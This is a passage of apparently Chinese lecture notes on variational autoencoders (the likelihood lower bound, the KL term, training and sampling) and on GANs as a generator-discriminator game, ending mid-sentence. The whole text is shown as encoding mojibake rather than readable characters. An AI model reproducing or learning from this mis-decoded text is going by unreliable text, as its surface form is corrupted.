ๆฅไผฐ่ฎกๅฎƒใ€‚้‚ฃไนˆ่ฟ™ไธ€้กนไป็„ถๆ˜ฏไธ€ไธช้—ฎ้ข˜๏ผŒ้‚ฃไนˆ่ฟ™ไธ€้กนไป็„ถๆ˜ฏไธ€ไธช้—ฎ้ข˜ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/10/5b95c628722e1.png)\n\nไฝ†ๆ˜ฏๅ…ณไบŽ่ฟ™็ฌฌไธ‰้กน๏ผŒๆˆ‘ไปฌ็›ฎๅ‰ๆ‰€ไบ†่งฃ็š„ๆ˜ฏ KL ๆ•ฃๅบฆๆ˜ฏๅฏนไธคไธชๅˆ†ๅธƒไน‹้—ด่ท็ฆป็š„ๅบฆ้‡๏ผŒไปŽๅฎšไน‰ไธŠ็œ‹ๅฎƒๆ€ปๆ˜ฏๅคงไบŽๆˆ–็ญ‰ไบŽ้›ถใ€‚ๅ› ๆญคๆˆ‘ไปฌ่ƒฝๅฏนๅฎƒๅš็š„ๆ˜ฏ๏ผŒๅœจๅ‰้ขๆˆ‘ไปฌๆœ‰ไธค้กนๅพˆๅฅฝ็š„่งฃๅ†ณ๏ผŒ่ฟ™ไธค้กนๅˆ่ตทๆฅๅฐฑๆ˜ฏไธ€ไธชๆž็š„ๅฎš็š„ไธ‹็•Œ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๅฏนๅ…ถๅ–ๆขฏๅบฆๅนถ่ฟ›่กŒไผ˜ๅŒ–ใ€‚p(x|z) ๆ˜ฏๅฏๅพฎๅˆ†็š„๏ผŒ่€Œ่ฟ™ไธ€ KL ้กน๏ผˆไนŸๅฐฑๆ˜ฏ่ฟ™ไธช้—ญๅผ่งฃ๏ผ‰ไนŸๆ˜ฏๅฏๅพฎๅˆ†็š„๏ผŒๅŒๆ—ถ่ฟ™ๆ˜ฏไธ€ไธชไธ‹็•Œ๏ผŒๅ› ไธบๆˆ‘ไปฌ็Ÿฅ้“ๅณ่พน็š„ KL ้กน๏ผŒไนŸๅฐฑๆ˜ฏ้šพ่งฃ็š„้‚ฃไธ€ไธชๆ˜ฏๅคงไบŽ็ญ‰ไบŽ้›ถ็š„๏ผŒไบŽๆ˜ฏๆˆ‘ไปฌๅฐฑๆœ‰ไบ†ไธ€ไธชไธ‹็•Œใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/10/5b95ca36e09fe.png)\n\n้‚ฃไนˆไธบไบ†่ฎญ็ปƒไธ€ไธชๅ˜ๅˆ†่‡ช็ผ–็ ๅ™จ๏ผŒๆŽฅไธ‹ๆฅๆˆ‘ไปฌ่ฆๅš็š„ๆ˜ฏ่ฝฌ่€Œไผ˜ๅŒ–ๅนถๆœ€ๅคงๅŒ–่ฟ™ไธ€ไธ‹็•Œใ€‚ๅ› ๆญคๆˆ‘ไปฌๆ˜ฏๅœจไผ˜ๅŒ–ๆ•ฐๆฎไผผ็„ถ็š„ไธ‹็•Œใ€‚่ฟ™ๅฐฑๆ„ๅ‘ณ็€ๆˆ‘ไปฌ็š„ๆ•ฐๆฎๆ€ปๆ˜ฏๆœ‰ไธ€ไธช่‡ณๅฐ‘ๅ’Œ่ฟ™ไธชๆˆ‘ไปฌ่ฆๆœ€ๅคงๅŒ–็š„ไธ‹็•Œไธ€ๆ ทๅคง็š„ไผผ็„ถใ€‚่ฟ™ๆ ทไธ€ๆฅ๏ผŒๆˆ‘ไปฌๆƒณ่ฆๆ‰พๅˆฐๅ‚ๆ•ฐ $\\theta$๏ผŒ้€š่ฟ‡ไผฐ่ฎกๅ‚ๆ•ฐ $\\theta$ ๅ’Œ $\\phi$ ๆˆ‘ไปฌๆ‰ๅฏไปฅๆœ€ๅคงๅŒ–่ฟ™ไธ€ไผผ็„ถใ€‚\n\nๆœ€ๅŽไธ€ไธชๅฏนไบŽ่ฟ™ไธ€ไธ‹็•Œ็š„็›ด่ง‚่งฃ้‡Šๆ˜ฏ๏ผŒๅ…ถไธญ็ฌฌไธ€้กนๅฏนๆ‰€ๆœ‰้‡‡ๆ ท็š„ z ๅ–ๆœŸๆœ›๏ผŒz ๆ˜ฏ x ็ป่ฟ‡็ผ–็ ๅ™จ็ฝ‘็ปœ้‡‡ๆ ทๅพ—ๅˆฐ็š„๏ผŒๅฏน z ้‡‡ๆ ท็„ถๅŽๅœจๆ‰€ๆœ‰็š„ z ๅ€ผๅ– p(x|z) ็š„ๆœŸๆœ›๏ผŒ่ฟ™ๅฐฑๆ˜ฏ้‡ๆž„๏ผˆreconstruction๏ผ‰ใ€‚่ฟ™ๅฎž้™…ไธŠๅฐฑๆ˜ฏๅœจ่ฏด๏ผŒๅฆ‚ๆžœๆˆ‘ๆƒณ่ฎฉๅฎƒๅ˜ๅคง๏ผŒไนŸๅฐฑๆ˜ฏ่ฎฉ p(x|z) ๅ˜ๅคง๏ผŒ่ฟ™ๆ ทไธ€ๆฅๅฐฑๆœ‰็‚นๅƒๆ˜ฏๅœจๆœ€ๅคง้™ๅบฆๅœฐ้‡ๆž„ๆ•ฐๆฎ๏ผŒๆ‰€ไปฅๅ’Œไน‹ๅ‰็š„่‡ช็ผ–็ ๅ™จไธ€ๆ ทใ€‚ไฝ†่ฟ™็ฌฌไบŒ้กนๆ˜ฏ่ฆ่ฎฉ KL ๆ•ฃๅบฆๅ˜ๅฐ๏ผŒ่ฎฉๆˆ‘ไปฌ็š„่ฟ‘ไผผๅŽ้ชŒๅˆ†ๅธƒๅ’Œๅ…ˆ้ชŒๅˆ†ๅธƒ้€ๆธๅ˜ๅพ—็›ธไผผใ€‚่ฟ™ๅฐฑๆ„ๅ‘ณ็€ๆˆ‘ไปฌๆƒณ่ฎฉ้šๅ˜้‡ z ้ตๅพชๆˆ‘ไปฌๆœŸๆœ›ๅฎƒ้ตๅพช็š„ๅˆ†ๅธƒ็ฑปๅž‹ๅ’Œๅฝข็Šถใ€‚\n\n- Q๏ผšไธบไป€ไนˆๅฐ†ๅ…ˆ้ชŒๅ‡่ฎพไนŸๅฐฑๆ˜ฏ้šๅ˜้‡ๅˆ†ๅธƒ่ฎพๅฎšไธบ้ซ˜ๆ–ฏๅˆ†ๅธƒ๏ผŸ\n - ๅŽŸๅ› ๅœจไบŽๆˆ‘ไปฌๆ˜ฏๅœจๅฎšไน‰ๆŸ็ง็”Ÿๆˆ่ฟ‡็จ‹๏ผŒ่ฏฅ่ฟ‡็จ‹้ฆ–ๅ…ˆ่ฆๅฏน z ้‡‡ๆ ท็„ถๅŽๅฏน x ้‡‡ๆ ทใ€‚ๆŠŠๅฎƒๅ‡่ฎพไธบ้ซ˜ๆ–ฏๅˆ†ๅธƒๆ˜ฏๅ› ไธบ่ฟ™ๆ˜ฏไธ€็งๅˆ็†็š„ๅ…ˆ้ชŒๆจกๅž‹ใ€‚ๅฏนไบŽ้šๅ˜้‡็š„ๅฑžๆ€งๆฅ่ฏด๏ผŒๅˆ†ๅธƒๆˆๆŸ็ง้ซ˜ๆ–ฏๅˆ†ๅธƒๆ˜ฏ่ฎฒๅพ—้€š็š„๏ผŒ่€Œไธ”่ฟ™ไนˆๅšๅฏไปฅ่ฎฉๆˆ‘ไปฌๆŽฅไธ‹ๆฅ่ƒฝๅคŸไผ˜ๅŒ–ๆจกๅž‹\n\n---\n\n![](https://i.loli.net/2018/09/10/5b95cb6b60acd.png)\n\nๆˆ‘ไปฌๅˆšๆ‰่ฎฒ็š„ๆ˜ฏๆˆ‘ไปฌๅฆ‚ไฝ•ๅพ—ๅ‡บ่ฏฅไธ‹็•Œใ€‚็Žฐๅœจๆˆ‘ไปฌๆŠŠ่ฟ™ไบ›ไธœ่ฅฟๆ•ด็†ๅˆฐไธ€่ตท๏ผŒ็„ถๅŽๅ†ๆŠŠ่ฎญ็ปƒ AE๏ผˆ่‡ชๅŠจ็ผ–็ ๅ™จ๏ผ‰็š„ๆต็จ‹่ฟ‡ไธ€้ใ€‚ไธŠๅ›พๅทฆไธŠ็š„ๅ…ฌๅผๅฐฑๆ˜ฏๆˆ‘ไปฌ่ฆไผ˜ๅŒ–ไปฅๅŠๆœ€ๅคงๅŒ–็š„ไธ‹็•Œใ€‚็ŽฐๅœจๅฏนไบŽๅ‰ๅ‘ไผ ๆ’ญๆฅ่ฏด๏ผŒๆˆ‘ไปฌ่ฆๆŒ‰ไธ‹้ข็š„ๆต็จ‹ๅค„็†ใ€‚ๆˆ‘ๆœ‰่พ“ๅ…ฅๆ•ฐๆฎ x๏ผŒๆˆ‘ไปฌไผšๆœ‰ๅฐๆ‰น้‡็š„่พ“ๅ…ฅๆ•ฐๆฎใ€‚็„ถๅŽๆˆ‘ไปฌๆŠŠๅฎƒไผ ้€’็ป่ฟ‡็ผ–็ ๅ™จ็ฝ‘็ปœ๏ผŒๆˆ‘ไปฌไผšๅพ—ๅˆฐ q(z|x)ใ€‚ๆˆ‘ไปฌไผš้€š่ฟ‡ q(z|x) ๆฅ่ฎก็ฎ— KL ้กนใ€‚็„ถๅŽๆˆ‘ไปฌไผšๆ นๆฎ็ป™ๅฎš็š„ x ็š„ z ๅˆ†ๅธƒๅฏน z ่ฟ›่กŒ้‡‡ๆ ท๏ผŒ็”ฑๆญคไธ€ๆฅ๏ผŒๆˆ‘ไปฌๅฐฑ่Žทๅพ—ไบ†้šๅ˜้‡็š„ๆ ทๆœฌ๏ผŒ่ฟ™ไบ›ๆ ทๆœฌๅฏไปฅๆ นๆฎ x ๆŽจๆ–ญ่Žทๅพ—ใ€‚ไน‹ๅŽ๏ผŒๆˆ‘ไปฌ็ปง็ปญๆŠŠ z ไผ ็ป™็ฌฌไบŒไธช่งฃ็ ๅ™จ็ฝ‘็ปœใ€‚้€š่ฟ‡่ฟ™ไธช่งฃ็ ๅ™จ็ฝ‘็ปœ๏ผŒๆˆ‘ไปฌไผš่Žทๅพ— x ๅœจ็ป™ๅฎš z ็š„ๆกไปถไธ‹็š„ๅˆ†ๅธƒ็š„ไธคไธชๅ‚ๆ•ฐ๏ผšๅ‡ๅ€ผๅ’Œๅๆ–นๅทฎใ€‚็„ถๅŽๆœ€็ปˆๆˆ‘ไปฌๅฐฑๅฏไปฅๅœจ็ป™ๅฎš z ็š„ๆกไปถไธ‹ไปŽ่ฟ™ไธชๅˆ†ๅธƒไธญ้‡‡ๆ ท่Žทๅพ— x๏ผŒ่ฟ™้‡Œๅฐฑไผšไบง็”Ÿไธ€ไบ›ๆ ทๆœฌ่พ“ๅ‡บใ€‚ๆˆ‘ไปฌๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๅฐฑๆ˜ฏ่ฆ่Žทๅพ—่ฏฅๅˆ†ๅธƒ๏ผŒ่€Œๆˆ‘ไปฌ็š„ๆŸๅคฑ้กนๅฐ†ไผšๆ˜ฏ็ป™ๅฎš z ็š„ๆกไปถไธ‹ๅฏน่ฎญ็ปƒๅƒ็ด ๅ€ผๅ–ๅฏนๆ•ฐใ€‚้‚ฃไนˆๆˆ‘ไปฌ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ่ฆๅš็š„ๆ˜ฏๅฐฑๆ˜ฏๆœ€ๅคงๅŒ–่ขซ้‡ๆž„็š„ๅŽŸๅง‹่พ“ๅ…ฅๆ•ฐๆฎ็š„ไผผ็„ถใ€‚\n\n็Žฐๅœจ๏ผŒๅฏนไบŽๆฏไธชๅฐๆ‰น้‡่พ“ๅ…ฅ๏ผŒๆˆ‘ไปฌ้ƒฝ่ฆ่ฎก็ฎ—่ฟ™ไธ€ๅ‰ๅ‘ไผ ๆ’ญ่ฟ‡็จ‹๏ผŒๅ–ๅพ—ๆ‰€ๆœ‰ๆˆ‘ไปฌๆ‰€้œ€็š„้กนใ€‚ๅฎƒไปฌ้ƒฝๆ˜ฏๅฏๅพฎๅˆ†็š„๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๆŽฅไธ‹ๆฅๆŠŠๅฎƒไปฌๅ…จ้ƒจๅๅ‘ไผ ๆ’ญๅ›žๅŽปๅนถ่Žทๅพ—ๆขฏๅบฆใ€‚ๆˆ‘ไปฌๅˆฉ็”จๆขฏๅบฆไธๆ–ญๆ›ดๆ–ฐๆˆ‘ไปฌ็š„ๅ‚ๆ•ฐ๏ผŒๅŒ…ๆ‹ฌ็”Ÿๆˆๅ™จไปฅๅŠ่งฃ็ ๅ™จ๏ผŒ็ฝ‘็ปœๅ‚ๆ•ฐ $\\theta$ ๅ’Œ $\\phi$ ไปŽ่€Œๆœ€ๅคงๅŒ–่ฎญ็ปƒๆ•ฐๆฎ็š„ไผผ็„ถใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/10/5b95cdd16f44e.png)\n\n้‚ฃไนˆไธ€ๆ—ฆๆˆ‘ไปฌ่ฎญ็ปƒๅฅฝ VAEใ€‚่ฆๆƒณ็”Ÿๆˆๆ•ฐๆฎ๏ผŒๆˆ‘ไปฌๅช้œ€่ฆ็”จ่งฃ็ ๅ™จ็ฝ‘็ปœๅฐฑๅฏไปฅไบ†ใ€‚็Žฐๅœจๆˆ‘ไปฌๅœจ่ฎญ็ปƒ้˜ถๆฎตๅฐฑๅฏไปฅๅผ€ๅง‹ๅฏน z ้‡‡ๆ ท๏ผŒ่€Œไธ็”จไปŽๅŽ้ชŒๅˆ†ๅธƒไธญ้‡‡ๆ ทใ€‚ๅœจ็”Ÿๆˆ้˜ถๆฎต๏ผŒๆˆ‘ไปฌไผšไปŽ็œŸๅฎž็š„็”Ÿๆˆ่ฟ‡็จ‹ไธญ้‡‡ๆ ทใ€‚ๅ› ๆญค๏ผŒๆˆ‘ไปฌไปŽ่ฎพๅฎšๅฅฝ็š„ๅ…ˆ้ชŒๅˆ†ๅธƒไธญ้‡‡ๆ ท๏ผŒ็„ถๅŽๆŽฅไธ‹ๆฅๆˆ‘ไปฌๅฐฑ่ฆไปŽ่ฟ™้‡Œๅฏนๆ•ฐๆฎ x ้‡‡ๆ ทใ€‚\n\nๅณๅ›พๅฐฑๆ˜ฏๅœจ MNIST ๆ•ฐๆฎ้›†ไธŠ่ฎญ็ปƒ็š„ VAEใ€‚ๆˆ‘ไปฌๅฏไปฅ็”Ÿๆˆ่ฟ™ไบ›ๆ‰‹ๅ†™ๆ•ฐๅญ—ๆ ทๆœฌใ€‚ๆˆ‘ไปฌไน‹ๅ‰่ฏด่ฟ‡๏ผŒ็”จ z ่กจ็คบ้šๅ˜้‡๏ผŒ่ฟ™ๆ ทไธ€ๆฅ๏ผŒ็”ฑไบŽๆˆ‘ไปฌๆ˜ฏไปŽๅ…ˆ้ชŒๅˆ†ๅธƒ็š„ไธๅŒ้ƒจๅˆ†้‡‡ๆ ท็š„๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๅฏไปฅ้€š่ฟ‡ๆ”นๅ˜ z ๆฅ่Žทๅพ—ไธๅŒ็š„ๅฏ่งฃ้‡Š็š„ๆ„ไน‰ใ€‚ๅ…ณไบŽไบŒ็ปด z ็š„ๆ•ฐๆฎๆตๅฝข๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌๆœ‰ไธ€ไธชไบŒ็ปด็š„ z ็„ถๅŽๆˆ‘ไปฌ่ฎฉๅœจๆŸไธชๅŒบ้—ดๅ†…ๅ˜ๅŒ–๏ผŒๆฏ”ๅฆ‚่ฏฅๅˆ†ๅธƒ็š„็™พๅˆ†ๆฏ”ๅŒบ้—ดใ€‚ๆŽฅไธ‹ๆฅๆˆ‘ไปฌ่ฎฉ z1๏ผŒz2 ้€ๆธๅ˜ๅŒ–๏ผŒ้‚ฃไนˆไปŽๅ›พไธŠไฝ ๅฐฑๅฏไปฅ็œ‹ๅˆฐๅ„็งไธๅŒ็š„ z1 ๅ’Œ z2 ็š„็ป„ๅˆๆ‰€็”Ÿๆˆ็š„ๅ›พๅƒ๏ผˆๅ…‰ๆป‘ๅœฐ่ฟ‡ๆธกๅ˜ๅŒ–๏ผ‰ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/10/5b95cfa757ba1.png)\n\nๆˆ‘ไปฌๅฏน z ็š„ๅ…ˆ้ชŒๅ‡่ฎพๆ˜ฏๅฏน่ง’็š„๏ผŒ่ฟ™ๆ ทๅšๆ˜ฏไธบไบ†ไฟƒไฝฟๅฎƒๆˆไธบ็‹ฌ็ซ‹็š„้šๅ˜้‡๏ผŒ่ฟ™ๆ ทไธ€ๆฅๅฎƒๆ‰่ƒฝ็ผ–็ ๏ผŒๅ…ทๆœ‰ๅฏ่งฃ้‡Šๆ€ง็š„ๅ˜้‡ใ€‚ๅ› ๆญค๏ผŒๆˆ‘ไปฌๅฐฑๆœ‰ไบ† z ็š„ไธๅŒ็ปดๅบฆใ€‚ๅฎƒไปฌ็ผ–็ ไบ†ไธๅŒ็š„ๅ…ทๆœ‰ๅฏ่งฃ้‡Šๆ€ง็š„ๅ˜้‡๏ผˆ็œ‹ไบบ่„ธๅ›พ๏ผ‰ใ€‚\n\n่ฟ˜ๆœ‰ไธ€็‚น้œ€่ฆๆŒ‡ๅ‡บ็š„ๆ˜ฏ๏ผŒ่ฟ™ไนˆๅš็š„ๅฅฝๅค„ๅฐฑๆ˜ฏ่ฟ™ไบ› z ๅŒๆ—ถไนŸๆ˜ฏๅพˆๅฅฝ็š„็‰นๅพ่กจๅพใ€‚ๅ› ไธบไป–ไปฌ็ผ–็ ไบ†่ฟ™ไบ›ไธๅŒ็š„ๅฏ่งฃ้‡Š็š„่ฏญไน‰ไฟกๆฏ็š„ๅคšๅฐ‘ใ€‚้‚ฃไนˆ่ฟ™ๆ ทไธ€ๆฅ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๅˆฉ็”จ q(z|x)๏ผŒไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌ่ฎญ็ปƒๅฅฝ็š„็ผ–็ ๅ™จ๏ผŒๆˆ‘ไปฌ็ป™ๅฎƒไธ€ไธช่พ“ๅ…ฅๅ›พๅƒ x๏ผŒๆˆ‘ไปฌๅฏไปฅๅฐ†ไน‹ๆ˜ ๅฐ„ๅˆฐ z๏ผŒๅนถๆŠŠ z ็”จไฝœไธ‹ๆธธไปปๅŠก็š„็‰นๅพ๏ผŒๆฏ”ๅฆ‚็›‘็ฃๅญฆไน ๏ผŒๅฐฑๅƒๅˆ†็ฑปไปปๅŠกๆˆ–่€…ๅ…ถไป–ไปปๅŠกใ€‚\n\n---\n\n#### Pros vs Cons\n\n![](https://i.loli.net/2018/09/10/5b95d1757fb4a.png)\n\n\n\n\n\n\n\n### Generative Adversarial Networks (GANs)\n\n![](https://i.loli.net/2018/09/13/5b99c7245726c.png)\n\nๆˆ‘ไปฌ็›ฎๅ‰่ง่ฟ‡็š„ๆจกๅž‹ไธญ pixelCNNs ่ฟ˜ๆœ‰ pixelRNNs ๅฎšไน‰ไบ†ไธ€ไธชๆ˜“ๅค„็†็š„ๅฏ†ๅบฆๅ‡ฝๆ•ฐ๏ผŒๅฏไปฅ้€š่ฟ‡ๅฎƒไปฌไผ˜ๅŒ–่ฎญ็ปƒๆ•ฐๆฎ็š„ไผผ็„ถใ€‚ไฝœไธบๅฏนๆฏ”๏ผŒVAEs ๆœ‰่ฟ™ไนˆไธ€ไธช้ขๅค–็š„ๅฎšไน‰ๅœจ็”Ÿๆˆ่ฟ‡็จ‹ไธญ็š„้šๅ˜้‡ zใ€‚ๆœ‰ไบ† z ็š„่ฏ๏ผŒๅฐฑๅฏไปฅ่Žทๅพ—่ฎธๅคšๆˆ‘ไปฌ่ฎฒ่ฟ‡็š„ๆœ‰ๅˆฉ็š„ๆ€ง่ดจ๏ผŒไธ่ฟ‡ๅŒๆ—ถๆˆ‘ไปฌไนŸๅ› ๆญค่Žทๅพ—ไบ†ไธ€ไธช้šพ่งฃ็š„ๅฏ†ๅบฆๅ‡ฝๆ•ฐ๏ผŒๅฏนไบŽ่ฏฅๅ‡ฝๆ•ฐๆˆ‘ไปฌไธ่ƒฝ็›ดๆŽฅไผ˜ๅŒ–๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๆŽจๅฏผๅ‡บไบ†ไธ€ไธชไผผ็„ถๅ‡ฝๆ•ฐ็š„ไธ‹็•Œ๏ผŒ็„ถๅŽ่ฝฌ่€Œๅฏนๅฎƒ่ฟ›่กŒไผ˜ๅŒ–ใ€‚\n\n\n\n\n\n้‚ฃไนˆ็Žฐๅœจๅฆ‚ๆžœๆˆ‘ไปฌๆ”พๅผƒๆ˜พๅผๅœฐๅฏนๅฏ†ๅบฆๅ‡ฝๆ•ฐๅปบๆจกไผšๆ€Žไนˆๆ ทๅ‘ข๏ผŸไบ‹ๅฎžไธŠๆˆ‘ไปฌๆƒณ่ฆ่Žทๅพ—็š„่ƒฝๅŠ›ๅ…ถๅฎžๅชๆ˜ฏไปŽๅˆ†ๅธƒไธญ้‡‡ๆ ทๅนถ่Žทๅพ—่ดจ้‡่‰ฏๅฅฝ็š„ๆ ทๆœฌใ€‚้‚ฃไนˆ่ฟ™ๅฐฑๆ˜ฏ GANs ๆ‰€้‡‡็”จ็š„ๆ–นๆณ•ใ€‚ๅœจ GANs ไธญ๏ผŒๆˆ‘ไปฌไธๅ†ๅœจๆ˜พๅผ็š„ๅฏ†ๅบฆๅ‡ฝๆ•ฐไธŠไธ‹ๅŠŸๅคซ๏ผŒ่€Œๆ˜ฏ้‡‡็”จไธ€ไธชๅšๅผˆ่ฎบ็š„ๆ–นๆณ•๏ผŒๅนถไธ”ๆจกๅž‹ๅฐ†ไผšไน ๅพ—ไปŽ่ฎญ็ปƒๅˆ†ๅธƒไธญ็”Ÿๆˆๆ•ฐๆฎ๏ผŒ่€Œ่ฟ™ไธ€ๅฎž็Žฐๆ˜ฏๅŸบไบŽไธ€ๅฏนๅšๅผˆ็Žฉๅฎถ็š„ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/13/5b99c756c9da9.png)\n\n ๆญคๆ—ถไธ€็ฏ‡ paper๏ผš\n\n> Ian Goodfellow et al., โ€œGenerative Adversarial Netsโ€, NIPS 2014\n\n้‚ฃไนˆ๏ผŒๅœจ GAN ็š„้…็ฝฎไธญ๏ผŒๆˆ‘ไปฌ็œŸๆญฃๅœจๆ„็š„ๆ˜ฏๆˆ‘ไปฌๆƒณ่ฆ่ƒฝๅคŸไปŽไธ€ไธชๅคๆ‚็š„้ซ˜็ปด่ฎญ็ปƒๅˆ†ๅธƒไธญ้‡‡ๆ ทใ€‚ๅฆ‚ๆžœๆƒณไปŽ่ฟ™ๆ ท็š„ๅˆ†ๅธƒไธญ็”Ÿๆˆๆ ทๆœฌๆ˜ฏๆฒกๆœ‰ไป€ไนˆ็›ดๆŽฅ็š„ๆ–นๆณ•ๅฏไปฅ้‡‡็”จ็š„ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒ่ฏฅๅˆ†ๅธƒๅๅˆ†ๅคๆ‚๏ผŒๆˆ‘ไปฌๆ— ๆณ•ไปŽไธญ้‡‡ๆ ทใ€‚ๅ› ๆญคๆˆ‘ไปฌๅฐ†่ฆ้‡‡็”จ็š„ๆ–นๆกˆๆ˜ฏ๏ผšไปŽไธ€ไธช็ฎ€ๅ•็‚น็š„ๅˆ†ๅธƒไธญ้‡‡ๆ ท๏ผŒๆฏ”ๅฆ‚้šๆœบๅ™ชๅฃฐ๏ผŒ้ซ˜ๆ–ฏๅ™ชๅฃฐๅฐฑๅฏไปฅ่ขซ็”จๆฅๅš่ฟ™ไปถไบ‹ใ€‚้‚ฃ่ฟ™ๆ ทไธ€ๆฅ๏ผŒๆˆ‘ไปฌๆ‰€่ฆๅš็š„ๅฐฑๆ˜ฏไน ๅพ—ไธ€ไธชไปŽ่ฟ™ไบ›็ฎ€ๅ•ๅˆ†ๅธƒ็›ดๆŽฅๅˆฐๆˆ‘ไปฌๆƒณ่ฆ็š„่ฎญ็ปƒๅˆ†ๅธƒ็š„ไธ€ไธชๅ˜ๆขใ€‚\n\n้‚ฃไนˆ้—ฎ้ข˜ๆฅไบ†๏ผŒ่ฆ็”จไป€ไนˆๆฅ่กจ็คบ่ฟ™ไธ€ๅคๆ‚ๅ˜ๆขๅ‘ข๏ผŸๅฝ“็„ถๆ˜ฏ็ฅž็ป็ฝ‘็ปœๅ•ฆ๏ผๅฝ“ๆˆ‘ไปฌๆƒณ่ฆๅฏนๆŸไบ›ๅคๆ‚็š„ๅ‡ฝๆ•ฐๆˆ–่€…ๅ˜ๆขๅปบๆจก็š„ๆ—ถๅ€™๏ผŒ็ฅž็ป็ฝ‘็ปœ้ƒฝๆ˜ฏไธ€ไธชไธ้”™็š„้€‰ๆ‹ฉ๏ผๆŽฅไธ‹ๆฅๅฏนไบŽ GAN ็š„ๅ‡†ๅค‡ๅทฅไฝœ่ฟ˜่ฆๅš็š„ๆ˜ฏๅ–ๅพ—ไธ€ไบ›ๅ…ทๆœ‰ๆŸไธ€ๆŒ‡ๅฎš็ปดๅบฆ็š„ๅ™ชๅฃฐๅ‘้‡ไฝœไธบ่พ“ๅ…ฅ๏ผŒ็„ถๅŽๆˆ‘ไปฌ่ฆๆŠŠ่ฏฅๅ‘้‡ไผ ็ป™ไธ€ไธช็”Ÿๆˆๅ™จ็ฝ‘็ปœ๏ผŒไน‹ๅŽๆˆ‘ไปฌ่ฆไปŽ่ฎญ็ปƒๅˆ†ๅธƒไธญ้‡‡ๆ ทๅนถๅฐ†็ป“ๆžœ็›ดๆŽฅไฝœไธบ่พ“ๅ‡บใ€‚้‚ฃไนˆๅฏนไบŽๆฏไธ€ไธช้šๆœบๅ™ชๅฃฐ่พ“ๅ…ฅ๏ผŒๆˆ‘ไปฌ้ƒฝๆƒณ่ฎฉๅฎƒๅ’Œๆฅ่‡ช่ฎญ็ปƒๅˆ†ๅธƒ็š„ๆ ทๆœฌไธ€ไธ€ๅฏนๅบ”ใ€‚\n\n\n\n#### Training GANs: Two-player game\n\n![](https://i.loli.net/2018/09/13/5b99c9d999032.png)\n\nๆˆ‘ไปฌๆŽฅไธ‹ๆฅ่ฎญ็ปƒ่ฟ™ไธช็ฝ‘็ปœ็š„ๆ–นๅผๆ˜ฏๆˆ‘ไปฌไผšๆŠŠ่ฎญ็ปƒ่ฟ‡็จ‹็œ‹ไฝœไธคไธช็Žฉๅฎถๅšๅผˆ็š„่ฟ‡็จ‹ใ€‚ๆˆ‘ไปฌๆœ‰ไธคไธช็Žฉๅฎถ๏ผŒไธ€ไธชๆ˜ฏ็”Ÿๆˆๅ™จ็ฝ‘็ปœ๏ผŒ่ฟ˜ๆœ‰ไธ€ไธช้ขๅค–็š„ๅˆคๅˆซๅ™จ็ฝ‘็ปœใ€‚ๆˆ‘ไปฌ็š„็”Ÿๆˆๅ™จ็ฝ‘็ปœไฝœไธบ็Žฉๅฎถ1ไผš่ฏ•ๅ›พ้ช—่ฟ‡ๅˆคๅˆซๅ™จ็ฝ‘็ปœ๏ผŒๆฌบ้ช—็š„ๆ–นๅผๅฐฑๆ˜ฏ็”Ÿๆˆไธ€ไบ›็œ‹่ตทๆฅๅๅˆ†้€ผ็œŸ็š„ๅ›พๅƒ๏ผŒๅŒๆ—ถๆˆ‘ไปฌ็š„็ฌฌไบŒไธช็Žฉๅฎถ๏ผŒไนŸๅฐฑๆ˜ฏๅˆคๅˆซๅ™จ็ฝ‘็ปœ๏ผŒๅฐ†่ฆ่ฏ•ๅ›พๆŠŠ็œŸๅฎžๅ›พ็‰‡ๅ’Œ่™šๅ‡ๅ›พ็‰‡ๅŒบๅˆซๅผ€ๆฅใ€‚้‚ฃไนˆๅˆคๅˆซๅ™จ็ฝ‘็ปœไผšๅฐฝๅฏ่ƒฝๅœฐๆญฃ็กฎ็š„ๆŒ‡ๅ‡บๅ“ชไบ›ๆ ทๆœฌๆ˜ฏ็”Ÿๆˆๅ™จ็ฝ‘็ปœ็”Ÿๆˆ็š„่ตๅ“ใ€‚\n\n้‚ฃไนˆ่ฟ™ๅฐฑ็œ‹่ตทๆฅ๏ผŒๆˆ‘ไปฌๅฐ†้šๆœบๅ™ชๅฃฐ่พ“ๅ…ฅๅˆฐ็”Ÿๆˆๅ™จ็ฝ‘็ปœ๏ผŒ่€Œ็”Ÿๆˆๅ™จ็ฝ‘็ปœๅฐ†ไผš็”Ÿๆˆ่ฟ™ไบ›ๅ›พๅƒ๏ผŒๆˆ‘ไปฌ็งฐไน‹ไธบๆฅ่‡ช็”Ÿๆˆๅ™จ็š„ไผชๆ ทๆœฌใ€‚็„ถๅŽๆˆ‘ไปฌไผšไปŽ่ฎญ็ปƒ้›†ไธญๅ–ไธ€ไบ›็œŸๅฎžๅ›พ็‰‡๏ผŒ่ฟ™ๆ—ถๆˆ‘ไปฌๅธŒๆœ›ๅˆคๅˆซๅ™จ่ƒฝๅคŸๅฏนไบŽๆฏไธชๅ›พ็‰‡ๆ ทๆœฌๅŒบๅˆ†ๆ˜ฏ็œŸๅฎžๆ ทๆœฌ่ฟ˜ๆ˜ฏไผชๆ ทๆœฌใ€‚ๆˆ‘ไปฌ็š„ๆƒณๆณ•ๆ˜ฏ๏ผšๅฆ‚ๆžœ่ƒฝๅคŸ่Žทๅพ—ไธ€ไธชๅพˆๅฅฝ็š„ๅˆคๅˆซๅ™จ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๆˆ‘ไปฌๆƒณ่ฎญ็ปƒไธ€ไธชๆ€ง่ƒฝ่‰ฏๅฅฝ็š„ๅˆคๅˆซๅ™จ๏ผŒๅฆ‚ๆžœๅฎƒ่ƒฝๅพˆๅฅฝๅœฐๅŒบๅˆ†็œŸๅฎžๆ ทๆœฌๅ’Œไผช้€ ๆ 